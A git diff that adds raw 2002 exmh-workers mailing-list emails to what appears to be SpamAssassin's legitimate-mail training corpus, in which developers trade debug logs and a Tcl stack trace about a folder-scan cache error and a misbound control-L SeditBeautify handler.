-0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id A38A4403F4 + for ; Wed, 24 Jul 2002 15:47:31 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6OJlVj27508 for exmh-workers@listman.redhat.com; Wed, 24 Jul 2002 + 15:47:31 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6OJlVR27494 for + ; Wed, 24 Jul 2002 15:47:31 -0400 +Received: from austin-jump.vircio.com + (IDENT:O9BPBeRL9cAGzLOKni0n+PKGsSoLdOxb@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6OGMbs10277 + for ; Wed, 24 Jul 2002 12:22:37 -0400 +Received: (qmail 11455 invoked by uid 104); 24 Jul 2002 16:34:18 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.31822 + secs); 24/07/2002 11:34:18 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 24 Jul 2002 16:34:18 -0000 +Received: (qmail 31038 invoked from network); 24 Jul 2002 16:34:17 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 24 Jul 2002 16:34:17 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Anders Eriksson , exmh-workers@spamassassin.taint.org +Subject: Re: PATCH (was: Re: Another bug) +In-Reply-To: <1027524228.24686.TMDA@deepeddy.vircio.com> +References: <20020724093457.D1035470D@tippex.localdomain> + <1027524228.24686.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_1737280444P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027528456.30806.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 11:34:14 -0500 + +--==_Exmh_1737280444P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Wed, 24 Jul 2002 10:23:47 -0500 +> +> Okay, I've just patched and sourced it into my running exmh, so I'll let you +> know if anything breaks. + +I have a folder that contains one unseen message and nothing else. I select +the folder from flist: + +11:17:40 **************** +11:17:40 Changing to Housekeeping/Monitor ... +11:17:40 Scan_CacheUpdate error {bad text index ".0"} +11:17:40 Scan_CacheUpdate {952 microseconds per iteration} +11:17:40 Exmh_CheckPoint {1409 microseconds per iteration} +11:17:40 {loading .xmhcache} +11:17:40 Ftoc_Reset Housekeeping/Monitor has 0 msgs +11:17:40 scan +Housekeeping/Monitor last:1000 +11:17:40 Ftoc_Reset Housekeeping/Monitor has 1 msgs +11:17:40 Ftoc_ShowSequences Housekeeping/Monitor +11:17:40 unseen: 1 +11:17:40 Scan_Folder {76527 microseconds per iteration} +11:17:40 Flist_Done +11:17:40 4 unread msgs in 3 folders +11:17:40 Scan_CacheUpdate error {bad text index ".0"} +11:17:40 Housekeeping/Monitor +11:17:40 Mh_SequenceUpdate Housekeeping/Monitor clear cur {} public +11:17:40 Folder_Change Housekeeping/Monitor {162590 microseconds per iteration} +11:17:42 BackgroundCheckup + +I select the message. + +11:17:54 Msg_Pick line=1 +11:17:54 Msg_Change id=1 +11:17:54 Mh_SetCur +Housekeeping/Monitor cur 1 +11:17:54 Mh_SequenceUpdate Housekeeping/Monitor replace cur 1 public +11:17:54 Ftoc_ShowSequences Housekeeping/Monitor +11:17:54 cur: 1 +11:17:54 unseen: 1 +11:17:54 Ftoc_RescanLines {16313 microseconds per iteration} +11:17:54 FastPath part=0=1 +11:17:54 Msg_TextHighlight 7.0 9.0 +11:17:54 Widget_TextPad h=64 last=65.0 top=3.0 +11:17:54 +11:17:54 FlistUnseenFolder Housekeeping/Monitor +11:17:54 {In FlagInner spool iconspool labelup} +11:17:54 {Setting flag bitmap to iconspool} +11:17:54 {Set flag state to spool} +11:17:55 Mh_SequenceUpdate Housekeeping/Monitor del unseen 1 public +11:17:55 {} +11:17:55 +11:17:55 Msg_Change {248654 microseconds per iteration} + +I delete the message. + +11:18:27 Msg_Remove Ftoc_RemoveMark +11:18:27 Msg_Remove l=1 m=1 +11:18:27 Ftoc_RescanLines {15914 microseconds per iteration} +11:18:27 Mh_SequenceUpdate Housekeeping/Monitor clear cur {} public +11:18:27 Ftoc_RescanLines {15278 microseconds per iteration} +11:18:27 +11:18:27 Changes pending; End of folder + +I click on commit and the message remains in my ftoc even though it's deleted. + +11:18:43 Mh_SequenceUpdate Housekeeping/Monitor del unseen 1 public +11:18:43 {} +11:18:43 Committing 1 changes... +11:18:43 Ftoc_RescanLines {14595 microseconds per iteration} +11:18:43 Mh_SequenceUpdate Housekeeping/Monitor clear cur {} public +11:18:43 Mh_Rmm 1 +11:18:43 BgAction {Rmm Housekeeping/Monitor} {Mh_Rmm Housekeeping/Monitor 1} +11:18:43 BackgroundPending {Rmm Housekeeping/Monitor} +11:18:43 ok +11:18:43 Scan_CacheUpdate error {bad text index ".0"} +11:18:43 Scan_CacheUpdate {1071 microseconds per iteration} +11:18:43 BackgroundComplete {Rmm Housekeeping/Monitor} +11:18:43 background actions complete + +I also noticed a few references to ftoc(curline) instead of ftoc(curLine). + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_1737280444P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9PtcGK9b4h5R0IUIRAtPnAJ9GGJF16cJnH+bsHRKi+FwcxHtJogCdHk8F +2JygBKhDfRFXvfn6l6hhxN0= +=Ek5X +-----END PGP SIGNATURE----- + +--==_Exmh_1737280444P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00720.b32e7900b189a55cf7207e9633f5c437 b/bayes/spamham/easy_ham_2/00720.b32e7900b189a55cf7207e9633f5c437 new file mode 100644 index 0000000..ec68e69 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00720.b32e7900b189a55cf7207e9633f5c437 @@ -0,0 +1,163 @@ +From exmh-workers-admin@redhat.com Thu Jul 25 11:01:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B6836440D3 + for ; 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Clean. Processed in 0.330578 + secs); 24/07/2002 16:31:42 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 24 Jul 2002 21:31:42 -0000 +Received: (qmail 760 invoked from network); 24 Jul 2002 21:31:42 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 24 Jul 2002 21:31:42 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: exmh-workers@spamassassin.taint.org +Subject: [fwd: error exmh 2.5 07/13/2001 ] +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_566017948P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +From: Chris Garrigues +Message-Id: <1027546301.610.TMDA@deepeddy.vircio.com> +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 16:31:40 -0500 + +--==_Exmh_566017948P +Content-Type: multipart/mixed; boundary="----- =_aaaaaaaaaa0" +Content-Id: <524.1027546300.0@deepeddy.com> + +------- =_aaaaaaaaaa0 +Content-Type: text/plain; charset="us-ascii" +Content-ID: <524.1027546300.1@deepeddy.com> + +Am I the only one for whom typing control-L to the main window causes this +error? + +I can't figure out why it occurs. + +Chris + + +------- =_aaaaaaaaaa0 +Content-Type: message/rfc822 +Content-ID: <524.1027546300.2@deepeddy.com> +Content-Description: forwarded message + +Return-Path: +Delivered-To: cwg-exmh@deepeddy.com +Received: (qmail 17767 invoked from network); 24 Jul 2002 21:29:14 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) (envelope-sender ) + by localhost (qmail-ldap-1.03) with SMTP + for ; 24 Jul 2002 21:29:14 -0000 +To: cwg-exmh@deepeddy.com +Subject: error exmh 2.5 07/13/2001 +Date: Wed, 24 Jul 2002 16:29:12 -0500 +From: Chris Garrigues +Message-ID: <1027546154.17532.TMDA@deepeddy.vircio.com> +X-Delivery-Agent: TMDA/0.57 + + + + +Wed Jul 24 16:29:12 CDT 2002 +cwg got an error +Exmh version 2.5 07/13/2001 +TK version 8.3.3 +TCL version 8.3.3 +Linux deepeddy.vircio.com 2.4.18-ac2v5 #1 SMP Sun Mar 31 07:41:15 CST 2002 i686 unknown + +bad text index "header + 1 line" + while executing +"$t index "header + 1 line"" + (procedure "SeditBeautify" line 3) + invoked from within +"SeditBeautify .msg.t" + (command bound to event) + +------- =_aaaaaaaaaa0 +Content-Type: text/plain; charset="us-ascii" +Content-ID: <524.1027546300.3@deepeddy.com> + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +------- =_aaaaaaaaaa0-- + +--==_Exmh_566017948P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Pxy8K9b4h5R0IUIRAnOgAJ0Uw/GSsuOnUXG7x5WtJOJIYYweqgCghNc3 +9HJtUPNX1D90p7rGch2Ry38= +=0Che +-----END PGP SIGNATURE----- + +--==_Exmh_566017948P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00721.39d6783c5838169bfa901056e6c8a5b2 b/bayes/spamham/easy_ham_2/00721.39d6783c5838169bfa901056e6c8a5b2 new file mode 100644 index 0000000..c111600 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00721.39d6783c5838169bfa901056e6c8a5b2 @@ -0,0 +1,197 @@ +From exmh-workers-admin@redhat.com Thu Jul 25 11:01:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CC3DC440D0 + for ; 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Wed, 24 Jul 2002 17:41:18 -0400 +Received: from mail2.lsil.com (mail2.lsil.com [147.145.40.22]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6OLTYs12266 for + ; Wed, 24 Jul 2002 17:29:34 -0400 +Received: from mhbs.lsil.com (mhbs [147.145.31.100]) by mail2.lsil.com + (8.9.3+Sun/8.9.1) with ESMTP id OAA06258 for ; + Wed, 24 Jul 2002 14:41:11 -0700 (PDT) +From: kchrist@lsil.com +Received: from inca.co.lsil.com by mhbs.lsil.com with ESMTP; + Wed, 24 Jul 2002 14:41:09 -0700 +Received: from flytrap.co.lsil.com (flytrap.co.lsil.com [172.20.3.234]) by + inca.co.lsil.com (8.9.3/8.9.3) with ESMTP id PAA08713; Wed, 24 Jul 2002 + 15:41:07 -0600 (MDT) +Received: from bhuta.co.lsil.com (bhuta [172.20.12.135]) by + flytrap.co.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id PAA25722; + Wed, 24 Jul 2002 15:41:06 -0600 (MDT) +Received: from bhuta (localhost [127.0.0.1]) by bhuta.co.lsil.com + (8.10.2+Sun/8.9.1) with ESMTP id g6OLf4T04689; Wed, 24 Jul 2002 15:41:05 + -0600 (MDT) +X-Mailer: exmh version 2.5 07/09/2001 with nmh-1.0.4+dev +To: Chris Garrigues +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: [fwd: error exmh 2.5 07/13/2001 ] +Reply-To: Kevin.Christian@lsil.com +In-Reply-To: Your message of + "Wed, 24 Jul 2002 16:31:40 CDT." + <1027546301.610.TMDA@deepeddy.vircio.com> +References: <1027546301.610.TMDA@deepeddy.vircio.com> +MIME-Version: 1.0 +Content-Type: multipart/mixed ; boundary="==_Exmh_9973050780" +Message-Id: <4687.1027546864@bhuta> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 15:41:04 -0600 + +This is a multipart MIME message. + +--==_Exmh_9973050780 +Content-Type: text/plain; charset=us-ascii + +Chris, + +I think you are referring to a problem I noticed last October (see +attached email). If I remember correctly, the binding for SeditBeautify +is being applied outside of the sedit window and that results in the +behavior observed. + +Kevin + +In message <1027546301.610.TMDA@deepeddy.vircio.com>, Chris Garrigues writes: +> +> Am I the only one for whom typing control-L to the main window causes this +> error? +> +> I can't figure out why it occurs. +> +> Chris +> + + +--==_Exmh_9973050780 +Content-Type: message/rfc822 ; name="5637" +Content-Description: 5637 +Content-Disposition: attachment; filename="5637" + +Return-Path: exmh-workers-admin@spamassassin.taint.org +Delivery-Date: Tue, 02 Oct 2001 15:02:08 -0600 +Received: from mhbs.lsil.com (mhbs.lsil.com [147.145.31.100]) + by flytrap.co.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id PAA14805 + for ; Tue, 2 Oct 2001 15:02:06 -0600 (MDT) +Received: from mail2.lsil.com by mhbs.lsil.com with ESMTP for kchrist@lsil.com; Tue, 2 Oct 2001 14:02:04 -0700 +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [199.183.24.211]) + by mail2.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id OAA15069 + for ; Tue, 2 Oct 2001 14:02:03 -0700 (PDT) +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) + by listman.redhat.com (Postfix) with ESMTP + id DFA943002F; Tue, 2 Oct 2001 17:02:01 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from mail.spamassassin.taint.org (mail.spamassassin.taint.org [199.183.24.239]) + by listman.redhat.com (Postfix) with ESMTP id 309802F422 + for ; Tue, 2 Oct 2001 17:01:02 -0400 (EDT) +Received: (from mail@localhost) + by mail.redhat.com (8.11.0/8.8.7) id f92L12F21878 + for exmh-workers@listman.redhat.com; Tue, 2 Oct 2001 17:01:02 -0400 +Received: from mail2.lsil.com (mail2.lsil.com [147.145.40.22]) + by mail.redhat.com (8.11.0/8.8.7) with ESMTP id f92L11g21859 + for ; Tue, 2 Oct 2001 17:01:01 -0400 +Received: from mhbs.lsil.com (mhbs [147.145.31.100]) + by mail2.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id OAA14865 + for ; Tue, 2 Oct 2001 14:00:57 -0700 (PDT) +From: kchrist@lsil.com +Received: from inca.co.lsil.com by mhbs.lsil.com with ESMTP for exmh-workers@spamassassin.taint.org; Tue, 2 Oct 2001 14:00:22 -0700 +Received: from flytrap.co.lsil.com (flytrap.co.lsil.com [172.20.3.234]) + by inca.co.lsil.com (8.9.3/8.9.3) with ESMTP id PAA26097 + for ; Tue, 2 Oct 2001 15:00:21 -0600 (MDT) +Received: from arrakis.co.lsil.com (arrakis [172.20.22.152]) + by flytrap.co.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id PAA14673 + for ; Tue, 2 Oct 2001 15:00:19 -0600 (MDT) +Received: from arrakis (localhost [127.0.0.1]) + by arrakis.co.lsil.com (8.9.1b+Sun/8.9.1) with ESMTP id PAA16677 + for ; Tue, 2 Oct 2001 15:00:17 -0600 (MDT) +X-Mailer: exmh version 2.5 07/09/2001 with nmh-1.0.4+dev +To: exmh-workers@spamassassin.taint.org +Subject: SeditBeautify bug +Reply-To: Kevin.Christian@lsil.com +Message-Id: <16675.1002056416@arrakis> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-BeenThere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Tue, 02 Oct 2001 15:00:16 -0600 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit + + +It appears that the binding for SeditBeautify applies to +more than just the sedit window. Since SeditBeautify assumes +we are in a sedit window the routine fails. (Try typing +ctrl-l over the main window to see what I mean). + +The quick fix for this is to make the ^l more restrictive. However, I'd +suggest keeping things the way the are and extending ^l to be a +highlight toggle. If the window is currently highlighted (sedit or msg) +re-display without highlighting and vice versa. + +While I can hack tcl, hacking tk is another story. Translation: I can't +fix this bug myself. Any volunteers? + +Kevin + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + +--==_Exmh_9973050780-- + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00722.7f846f5a56c251c9c49e7bd756df45d4 b/bayes/spamham/easy_ham_2/00722.7f846f5a56c251c9c49e7bd756df45d4 new file mode 100644 index 0000000..019b938 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00722.7f846f5a56c251c9c49e7bd756df45d4 @@ -0,0 +1,144 @@ +From exmh-workers-admin@redhat.com Thu Jul 25 11:02:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 23564440D3 + for ; Thu, 25 Jul 2002 06:01:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:01:53 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OLrf410138 for + ; Wed, 24 Jul 2002 22:53:41 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 068763F65E; Wed, 24 Jul 2002 + 17:52:39 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 651DA405D5 + for ; Wed, 24 Jul 2002 17:46:13 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6OLkDQ28186 for exmh-workers@listman.redhat.com; Wed, 24 Jul 2002 + 17:46:13 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6OLkDR28180 for + ; Wed, 24 Jul 2002 17:46:13 -0400 +Received: from austin-jump.vircio.com + (IDENT:ymcBdOzjAy41J4rodxx6kBJmicww8jNJ@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6OLYTs13198 + for ; Wed, 24 Jul 2002 17:34:29 -0400 +Received: (qmail 32495 invoked by uid 104); 24 Jul 2002 21:46:12 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.613233 + secs); 24/07/2002 16:46:11 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 24 Jul 2002 21:46:11 -0000 +Received: (qmail 29910 invoked from network); 24 Jul 2002 21:46:10 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 24 Jul 2002 21:46:10 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Kevin.Christian@lsil.com +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: [fwd: error exmh 2.5 07/13/2001 ] +In-Reply-To: <4687.1027546864@bhuta> +References: <1027546301.610.TMDA@deepeddy.vircio.com> <4687.1027546864@bhuta> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_601800448P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027547169.29661.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 16:46:08 -0500 + +--==_Exmh_601800448P +Content-Type: text/plain; charset=us-ascii + +F> From: kchrist@lsil.com +> Date: Wed, 24 Jul 2002 15:41:04 -0600 +> +> I think you are referring to a problem I noticed last October (see +> attached email). If I remember correctly, the binding for SeditBeautify +> is being applied outside of the sedit window and that results in the +> behavior observed. +> +> Subject: SeditBeautify bug +> Date: Tue, 02 Oct 2001 15:00:16 -0600 (16:00 CDT) +> From: kchrist@lsil.com +> +> It appears that the binding for SeditBeautify applies to +> more than just the sedit window. Since SeditBeautify assumes +> we are in a sedit window the routine fails. (Try typing +> ctrl-l over the main window to see what I mean). +> +> The quick fix for this is to make the ^l more restrictive. However, I'd +> suggest keeping things the way the are and extending ^l to be a +> highlight toggle. If the window is currently highlighted (sedit or msg) +> re-display without highlighting and vice versa. +> +> While I can hack tcl, hacking tk is another story. Translation: I can't +> fix this bug myself. Any volunteers? + +That's clearly the same bug. + +I don't think I can fix it either...I certainly can't while my copy of Brent's +book is across town. I do understand parts of tk fairly well, but the +event handlers give me a headache. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_601800448P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9PyAgK9b4h5R0IUIRAs7bAJ9uQUJ4MYEZf0/e6PuGSFSok9k1EQCfQxea +dhHEFQpPCkqmstOtLRrRcz0= +=RSdo +-----END PGP SIGNATURE----- + +--==_Exmh_601800448P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00723.961bd5a10fb642402296d7d28a82cfeb b/bayes/spamham/easy_ham_2/00723.961bd5a10fb642402296d7d28a82cfeb new file mode 100644 index 0000000..fbe6ce0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00723.961bd5a10fb642402296d7d28a82cfeb @@ -0,0 +1,83 @@ +From exmh-workers-admin@redhat.com Thu Jul 25 11:02:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BFC4B440D0 + for ; Thu, 25 Jul 2002 06:02:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:02:01 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OMGX411172 for + ; Wed, 24 Jul 2002 23:16:33 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 2662C3F4E2; Wed, 24 Jul 2002 + 18:15:42 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 6F4C3405CE + for ; Wed, 24 Jul 2002 18:13:11 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6OMDB932223 for exmh-workers@listman.redhat.com; Wed, 24 Jul 2002 + 18:13:11 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6OMDAR32217 for + ; Wed, 24 Jul 2002 18:13:10 -0400 +Received: from dimebox.bmc.com (adsl-66-140-152-233.dsl.hstntx.swbell.net + [66.140.152.233]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g6OM1Qs18479 for ; Wed, 24 Jul 2002 18:01:26 + -0400 +Received: by dimebox.bmc.com (Postfix, from userid 1205) id E7C9038DA9; + Wed, 24 Jul 2002 17:13:08 -0500 (CDT) +Received: from dimebox (localhost [127.0.0.1]) by dimebox.bmc.com + (Postfix) with ESMTP id D9BBD38DA2; Wed, 24 Jul 2002 17:13:08 -0500 (CDT) +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +In-Reply-To: <1027546301.610.TMDA@deepeddy.vircio.com> +References: <1027546301.610.TMDA@deepeddy.vircio.com> +Comments: In-reply-to Chris Garrigues message + dated "Wed, 24 Jul 2002 16:31:40 -0500." +To: Chris Garrigues +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: [fwd: error exmh 2.5 07/13/2001 ] +MIME-Version: 1.0 +From: Hal DeVore +X-Image-Url: http://www.geocities.com/hal_devore_ii/haleye48.gif +Content-Type: text/plain; charset=us-ascii +Message-Id: <5378.1027548783@dimebox> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 17:13:03 -0500 + + +>>>>> On Wed, 24 Jul 2002, "Chris" == Chris Garrigues wrote: + + Chris> Am I the only one for whom typing control-L to the main + Chris> window causes this error? + +Getting it here too on a copy I haven't updated from CVS since +about May sometime. + +--Hal + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00724.c5a687a60e45b7e78ec560a3eadffdee b/bayes/spamham/easy_ham_2/00724.c5a687a60e45b7e78ec560a3eadffdee new file mode 100644 index 0000000..bb5600a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00724.c5a687a60e45b7e78ec560a3eadffdee @@ -0,0 +1,224 @@ +From exmh-users-admin@redhat.com Thu Jul 25 11:06:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CE91D440D0 + for ; 